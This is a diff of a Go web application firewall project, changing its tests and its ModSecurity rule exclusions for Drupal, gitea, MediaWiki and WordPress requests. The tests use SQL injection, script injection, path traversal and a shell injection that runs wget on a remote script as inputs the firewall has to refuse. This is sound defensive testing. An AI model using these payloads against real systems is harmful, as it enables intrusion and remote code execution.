wantWordPressRequestsPass(t, defaults, bodies)
for _, attack := range []string{ for _, attack := range []string{
sqlInjection, sqlInjection,
@@ -1045,20 +820,6 @@ func wordpressWords() []struct {
} }
} }
func TestHostnameListingWordPressLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
// The requests were recorded on otherHost.
apps := map[string][]string{otherHost: {wordpress}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
Apps: apps,
})
wantWordPressRequestsPass(t, servingApps(t, apps), bodies)
}
// wordpressBlock is the comment that starts every block of WordPress's // wordpressBlock is the comment that starts every block of WordPress's
// HTML, which rule 941180 matches. // HTML, which rule 941180 matches.
const wordpressBlock = "<!-- wp:paragraph -->" const wordpressBlock = "<!-- wp:paragraph -->"
@@ -1523,17 +1284,19 @@ const (
// injection is an SQL injection, which rule 942100 matches. // injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1" const injection = "1' OR '1'='1"
// scriptTag is a script injection, not escaped.
const scriptTag = "<script>alert(1)</script>"
// readingBodies returns the Core Rule Set as sww runs it by // readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit. // default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper() t.Helper()
return shared(t, coreruleset.Params{ crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
}) })
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
} }
// post is a POST request for / with a body of the type contentType, a // post is a POST request for / with a body of the type contentType, a
@@ -1818,19 +1581,10 @@ func TestCorazaWritesNoFile(t *testing.T) {
// refuses to load, and could not write a file of a multipart body. // refuses to load, and could not write a file of a multipart body.
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing")) t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
// The test loads its own Core Rule Set, since loading is part of what
// it checks.
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " + body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" + "filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
wantBody(t, crs, post(multipart), body, matched(942100), body) wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body)
} }
func TestBodyLimitOf1GLoads(t *testing.T) { func TestBodyLimitOf1GLoads(t *testing.T) {
+1 -19
View File
@@ -1,4 +1,4 @@
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused # The tenth change: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a # ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the # search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the # request, before the rules it switches off, so this file is loaded before the
@@ -25,13 +25,6 @@
# 932230: ls -la # 932230: ls -la
# 932235: python3 # 932235: python3
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_drupal when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_drupal itself.
SecRule &TX:app_drupal "@eq 0" \
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
# Every admin page's filters and autocompletes, and the page to return to: # Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3 # title: /admin/content?title=python3
# name: /admin/content/media?name=python3 # name: /admin/content/media?name=python3
@@ -235,14 +228,3 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\ ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\ ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.name" ctl:ruleRemoveTargetById=932260;ARGS:json.name"
# The same reset may name the account by its address in the JSON field mail:
# POST /user/password?_format=json with a mail of python3@example.com. An
# address skips only the two rules the recorded addresses set off.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
"id:900818,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
SecMarker END_DRUPAL
+26 -79
View File
@@ -5,8 +5,6 @@ import (
"net/url" "net/url"
"slices" "slices"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -36,35 +34,22 @@ const drupalName = "name="
func TestOrdinaryDrupalRequestsPass(t *testing.T) { func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt", atDefaults(t), readingBodies(t)) defaults, bodies := atDefaults(t), readingBodies(t)
for _, recorded := range recordedRequests(t, "drupal-requests.txt") {
r := request{recorded.Method, recorded.Target, recorded.Headers}
got, _ := inspectBody(t, defaults, r, recorded.Body)
if got.Score >= drupalThreshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
} }
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) { got, _ = inspectBody(t, bodies, r, recorded.Body)
t.Parallel() if got.Score >= drupalThreshold {
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
crs := servingApps(t, map[string][]string{ r.method, r.target, recorded.Body, got)
giteaHost: {gitea}, otherHost: {"drupal"}, }
})
// A search, which only Drupal's fixes let through.
search := get("/search?keys=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
} }
func TestHostnameListingDrupalLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
// The requests were recorded on example.com.
apps := map[string][]string{"example.com": {"drupal"}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "drupal-requests.txt", servingApps(t, apps), bodies)
} }
// drupalAttacks are an SQL injection, a path traversal and a script // drupalAttacks are an SQL injection, a path traversal and a script
@@ -161,8 +146,8 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
} }
for _, attack := range []string{ for _, attack := range []string{
injection, `1' OR '1'='1`,
scriptTag, `<script>alert(1)</script>`,
} { } {
for _, field := range []string{ for _, field := range []string{
`"title":"` + attack + `"`, `"title":"` + attack + `"`,
@@ -208,14 +193,12 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
crs := readingBodies(t) crs := readingBodies(t)
for _, attack := range []string{ for _, attack := range []string{
injection, `1' OR '1'='1`,
scriptTag, `<script>alert(1)</script>`,
`; wget http://example.com/x.sh`, `; wget http://example.com/x.sh`,
`../../sites/default/settings.php`,
} { } {
for _, field := range []string{"name", "mail"} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"` + field + `":"` + attack + `"}` body := `{"name":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
@@ -224,25 +207,6 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
} }
} }
// An address keeps 932250, which refuses ls -la, and 930120, which
// refuses system file names.
for _, kept := range []struct {
value string
rule int
}{
{"ls -la", 932250},
{".htaccess@example.com", 930120},
} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"mail":"` + kept.value + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
}
}
}
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse // drupalCommandAttack is a shell command that only 932230 and 932235 refuse
// on the fields that skip the other command rules, as a query value. // on the fields that skip the other command rules, as a query value.
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
@@ -359,6 +323,12 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
} }
} }
// drupalHardValues are the words that name commands and files, as a form
// value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var drupalHardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Parallel() t.Parallel()
@@ -366,7 +336,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
const subject = "subject%5B0%5D%5Bvalue%5D=" const subject = "subject%5B0%5D%5Bvalue%5D="
for _, value := range hardValues { for _, value := range drupalHardValues {
for _, sent := range []struct{ target, field string }{ for _, sent := range []struct{ target, field string }{
{"/comment/reply/node/1/comment", subject}, {"/comment/reply/node/1/comment", subject},
{"/comment/reply/node/1/comment/5", subject}, {"/comment/reply/node/1/comment/5", subject},
@@ -385,7 +355,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
} }
} }
for _, value := range hardValues { for _, value := range drupalHardValues {
word, err := url.QueryUnescape(value) word, err := url.QueryUnescape(value)
if err != nil { if err != nil {
t.Fatal(err) t.Fatal(err)
@@ -407,16 +377,6 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Errorf("POST %s %s refused: %+v", r.target, body, got) t.Errorf("POST %s %s refused: %+v", r.target, body, got)
} }
} }
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
} }
func TestDrupalExclusionsAreNarrow(t *testing.T) { func TestDrupalExclusionsAreNarrow(t *testing.T) {
@@ -496,17 +456,4 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Errorf("POST %s let through: %+v", r.target, got) t.Errorf("POST %s let through: %+v", r.target, got)
} }
} }
// So does the JSON field mail.
for _, target := range []string{
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
"/user/register?_format=json",
} {
r := request{http.MethodPost, target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
} }
+9 -61
View File
@@ -1,53 +1,8 @@
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests. # The eighth change: on gitea's paths, some fields skip the rules that refused
# They are the fields where gitea sends a search, a file name or a branch name. # ordinary gitea requests there. They are the fields where gitea sends a search,
# Each exclusion runs with the request, before the rules it switches off, those # a file name or a branch name. Each exclusion runs with the request, before the
# of phase 1 included, so this file is loaded before the Core Rule Set's rules. # rules it switches off, those of phase 1 included, so this file is loaded before
# Each comment names a request the rule refused. # the Core Rule Set's rules. Each comment names a request the rule refused.
# Unless SWW_APPS lists gitea for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_gitea when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_gitea itself.
SecRule &TX:app_gitea "@eq 0" \
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
# The query parameters in which gitea sends names within a repository or its
# own records, or a page of its own site, are not checked against the lists of
# system files, shell paths and command names, on any path:
# 930120: .gitignore
# 932160: bin/docker-entrypoint
# 932260: docker-build
SecAction "id:900591,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:path,\
ctl:ruleRemoveTargetById=930120;ARGS:files,\
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932160;ARGS:path,\
ctl:ruleRemoveTargetById=932160;ARGS:files,\
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932260;ARGS:path,\
ctl:ruleRemoveTargetById=932260;ARGS:files,\
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
# gitea's searches of code, of issues and pull requests, and of commits send the # gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there: # text searched for in q, which skips these rules there:
@@ -80,18 +35,13 @@ SecAction "id:900591,phase:1,pass,nolog,\
# 944100: java.lang.Runtime # 944100: java.lang.Runtime
# 944110: java.lang.Runtime # 944110: java.lang.Runtime
# 944130: java.lang.Runtime # 944130: java.lang.Runtime
# gitea has no owner named api. A repository's search, issues, pull requests and
# commit search with that owner get none of this. /api/v2/search, for example,
# is Mastodon's search.
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
[^/]+/-/code|\ [^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\ [^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\ commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \ api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
"id:900600,phase:1,pass,nolog,chain" "id:900600,phase:1,pass,nolog,\
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\ ctl:ruleRemoveTargetById=930110;ARGS:q,\
pulls|commits/(?:branch|tag|commit)/.+/search)$" \
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\ ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\ ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\ ctl:ruleRemoveTargetById=932120;ARGS:q,\
@@ -205,8 +155,8 @@ SecRule REQUEST_FILENAME \
# 942140: information_schema.sql # 942140: information_schema.sql
# 944110: java/lang/Runtime.java # 944110: java/lang/Runtime.java
# 944130: java.lang.String.md # 944130: java.lang.String.md
# Each request skips the rules that refused it. Rule 900591 already has path and # Each request skips the rules that refused it. The fourth change already has
# redirect_to skip 930120, 932160 and 932260 on every path. # path and redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file. # A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
@@ -331,5 +281,3 @@ SecRule REQUEST_FILENAME \
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \ "@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
"id:900640,phase:1,pass,nolog,\ "id:900640,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range" ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
SecMarker END_GITEA
-223
View File
@@ -1,223 +0,0 @@
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter of
# that name, so it matters only while SWW_WAF_BODY_LIMIT is set. MediaWiki's
# paths are matched at the site root and under /w/.
#
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
# with a page title, in the query or after the path:
# /index.php?title=Main_Page
# /index.php/Main_Page, where a wiki without short URLs serves its pages
# Pages under /wiki/ need neither.
#
# Four rules read a search, a title or a name as a command or a system file.
# Each exclusion below for such a field removes these four:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_mediawiki when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mediawiki itself.
SecRule &TX:app_mediawiki "@eq 0" \
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
# The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address:
# title: /index.php?title=Python3_notes&action=history
# search: /index.php?search=python3&title=Special:Search
# target: /wiki/Special:WhatLinksHere?target=Python3+notes
# page, user: /wiki/Special:Log?user=Admin&page=Python3+notes
# username: /wiki/Special:ListUsers?username=python3
# from, to: /wiki/Special:AllPages?from=python3
# prefix: /wiki/Special:PrefixIndex?prefix=python3
# returnto, returntoquery: /wiki/Special:UserLogin?returnto=Python3_notes
# ilsearch: /wiki/Special:ListFiles?ilsearch=python3
# filename: /wiki/Special:FileDuplicateSearch?filename=Pic+python3.png
# wpDestFile: /wiki/Special:Upload?wpDestFile=Pic+python3.png
# wpTarget: /wiki/Special:BlockList?wpTarget=Python3, and blocking or
# unblocking the user Python3
# Uploaded files' names skip 932180, as on the API below.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900900,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932180;FILES"
# The API's searches, titles, names and file names, in the query or the body:
# search: /api.php?action=opensearch&search=python3
# srsearch, pssearch: /api.php?action=query&list=search&srsearch=python3
# titles, title, page: /api.php?action=parse&page=Python3+notes
# from, to: moving a page, from=Python3+notes&to=Ls+-la+notes
# apfrom, apto, apprefix: /api.php?action=query&list=allpages&apfrom=python3
# aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3
# aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3
# bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes
# gsrsearch, gpssearch, gapfrom, gapto, gapprefix, gaifrom, gaiprefix,
# gbltitle, geuquery: the same fields from a generator,
# /api.php?action=query&generator=allpages&gapprefix=python3
# euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3
# letitle: /api.php?action=query&list=logevents&letitle=Python3+notes
# ucuser: /api.php?action=query&list=usercontribs&ucuser=python3
# bkusers: /api.php?action=query&list=blocks&bkusers=Python3
# user: blocking, unblocking or changing the groups of a user, user=Python3
# summary, sectiontitle: saving a page, summary=Notes+on+python3
# filename, comment: uploading a file, filename=Api+python3.png
# reason: moving or deleting a page, reason=python3
# lgname, lgpassword, username, password: signing in, password=python3
# Uploaded files' names skip 932180, which refused uploading
# "Api .htaccess.png" as a server's own file. Coraza keeps these names without
# the field each came in. MediaWiki refuses a file whose extension it does not
# allow.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900901,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932180;FILES"
# The search box's suggestions and the search through the REST API:
# /rest.php/v1/search/title?q=python3.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?rest\.php/" \
"id:900902,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The names of the scripts and styles a page loads, which 930120 read as a
# system file: /load.php?modules=jquery,moment,oojs,...|mediawiki.storage.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?load\.php$" \
"id:900903,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:modules"
# The fields below are in bodies, and skip the four rules there:
# wpSummary: saving a page, "Notes on python3, ls -la and .htaccess"
# wpUploadDescription: uploading a file
# wpName, wpPassword: signing in
# wpOldTitle, wpNewTitleMain, wpReason: moving a page to "Python3 notes"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900910,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
# or prependtext, and the REST API in the JSON field source. Each of these
# rules refused saving or previewing a page whose wikitext held a template, a
# table and code blocks with a shell script, an SQL query and JavaScript, so
# they skip those fields: 930120, 932120, 932125, 932160, 932230, 932235,
# 932250, 932260, 941180, 941390, 942190 and 942270.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900911,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTextbox1 "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932120;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932125;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932160;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932230;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932235;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932250;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=941180;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=941390;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=942190;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=942270;ARGS:wpTextbox1"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900912,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:text|appendtext|prependtext)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=942270;ARGS:/^(?:text|appendtext|prependtext)$/"
# A REST API client saving a page sends its wikitext in source, which skips
# the rules above, and its summary in comment, which skips the four rules.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?rest\.php/" \
"id:900913,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:source|comment)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:json.source,\
ctl:ruleRemoveTargetById=932160;ARGS:json.source,\
ctl:ruleRemoveTargetById=932230;ARGS:json.source,\
ctl:ruleRemoveTargetById=932235;ARGS:json.source,\
ctl:ruleRemoveTargetById=941180;ARGS:json.source,\
ctl:ruleRemoveTargetById=941390;ARGS:json.source,\
ctl:ruleRemoveTargetById=942190;ARGS:json.source,\
ctl:ruleRemoveTargetById=942270;ARGS:json.source"
# The reasons on the admin pages are in bodies. They skip only 930120 and
# 932120, which refused "Spamming links to .htaccess guides" and the same with
# powershell:
# wpReason-other: blocking a user
# user-reason: changing a user's groups
# mwProtect-reason: protecting a page
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900914,phase:1,pass,nolog,chain"
